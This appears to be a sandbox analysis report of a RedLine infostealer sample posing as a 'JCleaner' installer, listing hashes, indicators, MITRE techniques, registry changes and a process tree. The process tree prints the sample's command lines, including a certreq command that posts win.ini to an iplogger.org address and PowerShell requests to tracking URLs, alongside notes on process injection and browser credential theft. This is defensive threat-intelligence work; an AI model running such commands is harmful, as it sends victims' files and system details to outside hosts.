redline | e3ac84aeb4c0a6606a5e385327f371c36335954f27ec4151d616fbb73d466e37

Resubmissions

17-03-2021 08:48

210317-xv9yl2r5hn 10

16-03-2021 19:29

210316-6pes49a322 8

Analysis

max time kernel
137s
max time network
119s
platform
windows7_x64
resource
win7v20201028
submitted
17-03-2021 08:48

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

e00743a06378fdc48df81c57ff27c80c.exe
Size

799KB
MD5

e00743a06378fdc48df81c57ff27c80c
SHA1

644eef3bb78b0e340b2f4977dc0c17b26889603b
SHA256

e3ac84aeb4c0a6606a5e385327f371c36335954f27ec4151d616fbb73d466e37
SHA512

4d573618672bd491916753363403dd401db21a287aa3f35c7264478bf237b3aed9e14f1da868709d10e034fa30222f3e47b6acd796df6aad08be31652a023e1f

Score

10^/10

redline discovery infostealer spyware stealer

Malware Config

Signatures

RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine Payload 3 IoCs

Processes:

resource	yara_rule
behavioral1/memory/2504-103-0x0000000000400000-0x0000000000426000-memory.dmp	family_redline
behavioral1/memory/2504-104-0x000000000041F39A-mapping.dmp	family_redline
behavioral1/memory/2504-107-0x0000000000400000-0x0000000000426000-memory.dmp	family_redline

Blocklisted process makes network request 2 IoCs

Processes:

powershell.exepowershell.exe

flow pid process

37 468 powershell.exe
38 300 powershell.exe
Executes dropped EXE 3 IoCs

Processes:

e00743a06378fdc48df81c57ff27c80c.tmpjason.exejason.exe

pid process

2036 e00743a06378fdc48df81c57ff27c80c.tmp
392 jason.exe
2504 jason.exe
Loads dropped DLL 2 IoCs

Processes:

e00743a06378fdc48df81c57ff27c80c.exee00743a06378fdc48df81c57ff27c80c.tmp

pid process

1100 e00743a06378fdc48df81c57ff27c80c.exe
2036 e00743a06378fdc48df81c57ff27c80c.tmp
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

flow	pid	process
37	468	powershell.exe
38	300	powershell.exe

pid	process
2036	e00743a06378fdc48df81c57ff27c80c.tmp
392	jason.exe
2504	jason.exe

pid	process
1100	e00743a06378fdc48df81c57ff27c80c.exe
2036	e00743a06378fdc48df81c57ff27c80c.tmp

Drops file in System32 directory 2 IoCs

Processes:

powershell.exepowershell.exe

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of SetThreadContext 1 IoCs

Processes:

jason.exe

description pid process target process

PID 392 set thread context of 2504 392 jason.exe jason.exe

description	pid	process	target process
PID 392 set thread context of 2504	392	jason.exe	jason.exe

Drops file in Program Files directory 5 IoCs

Processes:

e00743a06378fdc48df81c57ff27c80c.tmp

description	ioc	process
File opened for modification	C:\Program Files (x86)\JCleaner\jason.exe	e00743a06378fdc48df81c57ff27c80c.tmp
File created	C:\Program Files (x86)\JCleaner\unins000.dat	e00743a06378fdc48df81c57ff27c80c.tmp
File created	C:\Program Files (x86)\JCleaner\is-LBVHD.tmp	e00743a06378fdc48df81c57ff27c80c.tmp
File created	C:\Program Files (x86)\JCleaner\is-D9LDP.tmp	e00743a06378fdc48df81c57ff27c80c.tmp
File opened for modification	C:\Program Files (x86)\JCleaner\unins000.dat	e00743a06378fdc48df81c57ff27c80c.tmp

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Modifies Internet Explorer settings 1 TTPs 63 IoCs

adware spyware

Modify Registry

T1112

Processes:

iexplore.exeiexplore.exeIEXPLORE.EXEIEXPLORE.EXE

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\IntelliForms	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\IETld\LowMic	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = 508c2ae60a1bd701	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff3d0000003d000000c3040000a2020000	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\MFV = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000adb5c0c4179c15408e742bc6cd9a2b3f00000000020000000000106600000001000020000000a0200db90ae6711198da6d6db3d18192b036dc6106259ad436bf07fc854a010a000000000e8000000002000020000000941bba176101c7dc6e07b1b25ba48f9cfff5bb9018abe435c50ab17952701f52900000004d671fe44dc5165afb02a58b6f8de89b2fe7033be574c704e1ae38f355a5d85700bf276d1adb2f79561b9be79d97e3e63209c3e0238c02aa1b5884b06179fd8f7d1af820357b539f9512e18ecc1be80dde397f3ec4e693512688c1cd9f5a6c17184cf0c913e2119d602b8e2b4dbc2c6e72daf2abe9d19bfc21f35bc2915be579b856d68cfbe7c899b3f74c90ccc554ff400000006aabca0d4bfe8b0a58934282702cf78d4aaeab68937061704b4f27077be3d011f57d02566518ab4901fed58ab99f6743164ff6e4edb42fef54865d1c43dda61b	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\IETld\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\DomainSuggestion	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Toolbar	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "1"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\GPU	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\LowRegistry	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{0A396B91-86FE-11EB-A7D7-E6A19248D3FE} = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\IntelliForms	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Zoom	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\GPU	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\LowRegistry	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\NextUpdateDate = "322736102"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000adb5c0c4179c15408e742bc6cd9a2b3f000000000200000000001066000000010000200000009349910d01c572a2d053fae13641c5bc627d006ff195be2cdc3d7ccdd27b117d000000000e8000000002000020000000479f70059f82501bb27b8612f5dccf6a6efe993139168607352ca2918aa686c320000000bf67dfe6080e00272486345fce242821b738512f7f7a2d1505aff3e4b2eaeb2840000000e29122d4e73fefb8bfdb8b9b7f4609bed44af14a819f3992d270bd0fdfb6095b0a3794d488d5f61ec8812e38456d18a30c1d8a0de8f606bb022dddbde829e561	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{0A394481-86FE-11EB-A7D7-E6A19248D3FE} = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Zoom	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\en-US = "en-US.1"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\InternetRegistry	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\InternetRegistry	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "1"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\PageSetup	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\PageSetup	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Toolbar	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage	iexplore.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

Processes:

e00743a06378fdc48df81c57ff27c80c.tmppowershell.exepowershell.exejason.exe

pid process

2036 e00743a06378fdc48df81c57ff27c80c.tmp
2036 e00743a06378fdc48df81c57ff27c80c.tmp
468 powershell.exe
300 powershell.exe
2504 jason.exe

pid	process
2036	e00743a06378fdc48df81c57ff27c80c.tmp
2036	e00743a06378fdc48df81c57ff27c80c.tmp
468	powershell.exe
300	powershell.exe
2504	jason.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

Processes:

powershell.exepowershell.exejason.exejason.exe

description	pid	process
Token: SeDebugPrivilege	468	powershell.exe
Token: SeDebugPrivilege	300	powershell.exe
Token: SeDebugPrivilege	392	jason.exe
Token: SeDebugPrivilege	2504	jason.exe

Suspicious use of FindShellTrayWindow 3 IoCs

Processes:

e00743a06378fdc48df81c57ff27c80c.tmpiexplore.exeiexplore.exe

pid process

2036 e00743a06378fdc48df81c57ff27c80c.tmp
524 iexplore.exe
296 iexplore.exe

pid	process
2036	e00743a06378fdc48df81c57ff27c80c.tmp
524	iexplore.exe
296	iexplore.exe

Suspicious use of SetWindowsHookEx 10 IoCs

Processes:

iexplore.exeiexplore.exeIEXPLORE.EXEIEXPLORE.EXE

pid	process
296	iexplore.exe
296	iexplore.exe
524	iexplore.exe
524	iexplore.exe
1672	IEXPLORE.EXE
1672	IEXPLORE.EXE
1224	IEXPLORE.EXE
1224	IEXPLORE.EXE
1672	IEXPLORE.EXE
1672	IEXPLORE.EXE

Suspicious use of WriteProcessMemory 60 IoCs

Processes:

e00743a06378fdc48df81c57ff27c80c.exee00743a06378fdc48df81c57ff27c80c.tmpcmd.exeIEXPLORE.EXEcmd.exeiexplore.exeiexplore.exejason.exe

description	pid	process	target process
PID 1100 wrote to memory of 2036	1100	e00743a06378fdc48df81c57ff27c80c.exe	e00743a06378fdc48df81c57ff27c80c.tmp
PID 1100 wrote to memory of 2036	1100	e00743a06378fdc48df81c57ff27c80c.exe	e00743a06378fdc48df81c57ff27c80c.tmp
PID 1100 wrote to memory of 2036	1100	e00743a06378fdc48df81c57ff27c80c.exe	e00743a06378fdc48df81c57ff27c80c.tmp
PID 1100 wrote to memory of 2036	1100	e00743a06378fdc48df81c57ff27c80c.exe	e00743a06378fdc48df81c57ff27c80c.tmp
PID 1100 wrote to memory of 2036	1100	e00743a06378fdc48df81c57ff27c80c.exe	e00743a06378fdc48df81c57ff27c80c.tmp
PID 1100 wrote to memory of 2036	1100	e00743a06378fdc48df81c57ff27c80c.exe	e00743a06378fdc48df81c57ff27c80c.tmp
PID 1100 wrote to memory of 2036	1100	e00743a06378fdc48df81c57ff27c80c.exe	e00743a06378fdc48df81c57ff27c80c.tmp
PID 2036 wrote to memory of 1672	2036	e00743a06378fdc48df81c57ff27c80c.tmp	cmd.exe
PID 2036 wrote to memory of 1672	2036	e00743a06378fdc48df81c57ff27c80c.tmp	cmd.exe
PID 2036 wrote to memory of 1672	2036	e00743a06378fdc48df81c57ff27c80c.tmp	cmd.exe
PID 2036 wrote to memory of 1672	2036	e00743a06378fdc48df81c57ff27c80c.tmp	cmd.exe
PID 2036 wrote to memory of 300	2036	e00743a06378fdc48df81c57ff27c80c.tmp	powershell.exe
PID 2036 wrote to memory of 300	2036	e00743a06378fdc48df81c57ff27c80c.tmp	powershell.exe
PID 2036 wrote to memory of 300	2036	e00743a06378fdc48df81c57ff27c80c.tmp	powershell.exe
PID 2036 wrote to memory of 300	2036	e00743a06378fdc48df81c57ff27c80c.tmp	powershell.exe
PID 2036 wrote to memory of 392	2036	e00743a06378fdc48df81c57ff27c80c.tmp	jason.exe
PID 2036 wrote to memory of 392	2036	e00743a06378fdc48df81c57ff27c80c.tmp	jason.exe
PID 2036 wrote to memory of 392	2036	e00743a06378fdc48df81c57ff27c80c.tmp	jason.exe
PID 2036 wrote to memory of 392	2036	e00743a06378fdc48df81c57ff27c80c.tmp	jason.exe
PID 2036 wrote to memory of 672	2036	e00743a06378fdc48df81c57ff27c80c.tmp	cmd.exe
PID 2036 wrote to memory of 672	2036	e00743a06378fdc48df81c57ff27c80c.tmp	cmd.exe
PID 2036 wrote to memory of 672	2036	e00743a06378fdc48df81c57ff27c80c.tmp	cmd.exe
PID 2036 wrote to memory of 672	2036	e00743a06378fdc48df81c57ff27c80c.tmp	cmd.exe
PID 2036 wrote to memory of 832	2036	e00743a06378fdc48df81c57ff27c80c.tmp	cmd.exe
PID 2036 wrote to memory of 832	2036	e00743a06378fdc48df81c57ff27c80c.tmp	cmd.exe
PID 2036 wrote to memory of 832	2036	e00743a06378fdc48df81c57ff27c80c.tmp	cmd.exe
PID 2036 wrote to memory of 832	2036	e00743a06378fdc48df81c57ff27c80c.tmp	cmd.exe
PID 2036 wrote to memory of 468	2036	e00743a06378fdc48df81c57ff27c80c.tmp	powershell.exe
PID 2036 wrote to memory of 468	2036	e00743a06378fdc48df81c57ff27c80c.tmp	powershell.exe
PID 2036 wrote to memory of 468	2036	e00743a06378fdc48df81c57ff27c80c.tmp	powershell.exe
PID 2036 wrote to memory of 468	2036	e00743a06378fdc48df81c57ff27c80c.tmp	powershell.exe
PID 672 wrote to memory of 1840	672	cmd.exe	certreq.exe
PID 672 wrote to memory of 1840	672	cmd.exe	certreq.exe
PID 672 wrote to memory of 1840	672	cmd.exe	certreq.exe
PID 672 wrote to memory of 1840	672	cmd.exe	certreq.exe
PID 1672 wrote to memory of 524	1672	IEXPLORE.EXE	iexplore.exe
PID 1672 wrote to memory of 524	1672	IEXPLORE.EXE	iexplore.exe
PID 1672 wrote to memory of 524	1672	IEXPLORE.EXE	iexplore.exe
PID 1672 wrote to memory of 524	1672	IEXPLORE.EXE	iexplore.exe
PID 832 wrote to memory of 296	832	cmd.exe	iexplore.exe
PID 832 wrote to memory of 296	832	cmd.exe	iexplore.exe
PID 832 wrote to memory of 296	832	cmd.exe	iexplore.exe
PID 832 wrote to memory of 296	832	cmd.exe	iexplore.exe
PID 296 wrote to memory of 1224	296	iexplore.exe	IEXPLORE.EXE
PID 296 wrote to memory of 1224	296	iexplore.exe	IEXPLORE.EXE
PID 296 wrote to memory of 1224	296	iexplore.exe	IEXPLORE.EXE
PID 296 wrote to memory of 1224	296	iexplore.exe	IEXPLORE.EXE
PID 524 wrote to memory of 1672	524	iexplore.exe	IEXPLORE.EXE
PID 524 wrote to memory of 1672	524	iexplore.exe	IEXPLORE.EXE
PID 524 wrote to memory of 1672	524	iexplore.exe	IEXPLORE.EXE
PID 524 wrote to memory of 1672	524	iexplore.exe	IEXPLORE.EXE
PID 392 wrote to memory of 2504	392	jason.exe	jason.exe
PID 392 wrote to memory of 2504	392	jason.exe	jason.exe
PID 392 wrote to memory of 2504	392	jason.exe	jason.exe
PID 392 wrote to memory of 2504	392	jason.exe	jason.exe
PID 392 wrote to memory of 2504	392	jason.exe	jason.exe
PID 392 wrote to memory of 2504	392	jason.exe	jason.exe
PID 392 wrote to memory of 2504	392	jason.exe	jason.exe
PID 392 wrote to memory of 2504	392	jason.exe	jason.exe
PID 392 wrote to memory of 2504	392	jason.exe	jason.exe

C:\Users\Admin\AppData\Local\Temp\e00743a06378fdc48df81c57ff27c80c.exe
"C:\Users\Admin\AppData\Local\Temp\e00743a06378fdc48df81c57ff27c80c.exe"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1100

C:\Users\Admin\AppData\Local\Temp\is-PP8PU.tmp\e00743a06378fdc48df81c57ff27c80c.tmp
"C:\Users\Admin\AppData\Local\Temp\is-PP8PU.tmp\e00743a06378fdc48df81c57ff27c80c.tmp" /SL5="$30104,570602,58368,C:\Users\Admin\AppData\Local\Temp\e00743a06378fdc48df81c57ff27c80c.exe"
2⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:2036

C:\Windows\SysWOW64\cmd.exe
"cmd.exe" /c "start https://iplogger.org/1aSny7"
3⤵
PID:1672

C:\Program Files\Internet Explorer\iexplore.exe
"C:\Program Files\Internet Explorer\iexplore.exe" https://iplogger.org/1aSny7
4⤵
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:524

C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:524 CREDAT:275457 /prefetch:2
5⤵
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1672

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"powershell" -command "Invoke-WebRequest -URI https://iplogger.org/1aSny7"
3⤵
- Blocklisted process makes network request
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:300

C:\Program Files (x86)\JCleaner\jason.exe
"C:\Program Files (x86)\JCleaner\jason.exe"
3⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:392

C:\Program Files (x86)\JCleaner\jason.exe
"{path}"
4⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2504

C:\Windows\SysWOW64\cmd.exe
"cmd.exe" /c certreq -post -config https://iplogger.org/1EaGq7 %windir%\\win.ini %temp%\\2 & del %temp%\\2
3⤵
- Suspicious use of WriteProcessMemory
PID:672

C:\Windows\SysWOW64\certreq.exe
certreq -post -config https://iplogger.org/1EaGq7 C:\Windows\\win.ini C:\Users\Admin\AppData\Local\Temp\\2
4⤵
PID:1840

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"powershell" -command "Invoke-WebRequest -URI https://iplogger.org/1EaGq7"
3⤵
- Blocklisted process makes network request
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:468

C:\Windows\SysWOW64\cmd.exe
"cmd.exe" /c "start https://iplogger.org/1EaGq7"
3⤵
- Suspicious use of WriteProcessMemory
PID:832

C:\Program Files\Internet Explorer\iexplore.exe
"C:\Program Files\Internet Explorer\iexplore.exe" https://iplogger.org/1EaGq7
4⤵
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:296

C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:296 CREDAT:275457 /prefetch:2
5⤵
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
PID:1224

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Exfiltration

Command and Control

Web Service

T1102

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Program Files (x86)\JCleaner\jason.exe
MD5
c296ab676408ed25c0acd2026b664141

SHA1
dfe09b370eb7c2ba0c03c3dc451ca779c331c26c

SHA256
09f0d4cdba60b19fd27032617093ffb0fabd6c7de8e3446345623f96706ca87c

SHA512
95e8134e4da313612b642c841ea245f2a3ffa36aeebe39ca933526c317555d86bfb7de70f64351341dfadc8ac29d0531d3f38f72224fe38999822de9a176ec4c

Download Submit
C:\Program Files (x86)\JCleaner\jason.exe
MD5
c296ab676408ed25c0acd2026b664141

SHA1
dfe09b370eb7c2ba0c03c3dc451ca779c331c26c

SHA256
09f0d4cdba60b19fd27032617093ffb0fabd6c7de8e3446345623f96706ca87c

SHA512
95e8134e4da313612b642c841ea245f2a3ffa36aeebe39ca933526c317555d86bfb7de70f64351341dfadc8ac29d0531d3f38f72224fe38999822de9a176ec4c

Download Submit
C:\Program Files (x86)\JCleaner\jason.exe
MD5
c296ab676408ed25c0acd2026b664141

SHA1
dfe09b370eb7c2ba0c03c3dc451ca779c331c26c

SHA256
09f0d4cdba60b19fd27032617093ffb0fabd6c7de8e3446345623f96706ca87c

SHA512
95e8134e4da313612b642c841ea245f2a3ffa36aeebe39ca933526c317555d86bfb7de70f64351341dfadc8ac29d0531d3f38f72224fe38999822de9a176ec4c

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\07CEF2F654E3ED6050FFC9B6EB844250_3431D4C539FB2CFCB781821E9902850D
MD5
377bbc0e9d49bdc72d6436415ed82cb1

SHA1
9cb5165d3824381bb6eb3aff6d70a9263fade77c

SHA256
c685f340f673b2401845c53538fe6939c5e56608e6336c908b94fba0941bcb73

SHA512
5b7e64d343b341cb077fd3db2872902b0257ced94baca0360a23ae99468857709fa22b983df6a361b7bc9bd89e76650aedc78853bafd5b05214c6d3ab143620f

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\5EE9003E3DC4134E8CF26DC55FD926FA
MD5
bea22564b2d428c642dd9436b844ee0c

SHA1
f77e5f765227cdf0522269bd32878b4da0cc236a

SHA256
edc1d040f5eb029e06944fa11ccee5ecf658cc2fc3f919b25727a446c9a55241

SHA512
c2f881aa643877650eaa3371324d886637082032e464d166141a5a3a5cbc1d68d4180467f733883360a8d84bcf6cde8af518dcfa17f2c032e2931af8d3558dba

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\5EE9003E3DC4134E8CF26DC55FD926FA
MD5
bea22564b2d428c642dd9436b844ee0c

SHA1
f77e5f765227cdf0522269bd32878b4da0cc236a

SHA256
edc1d040f5eb029e06944fa11ccee5ecf658cc2fc3f919b25727a446c9a55241

SHA512
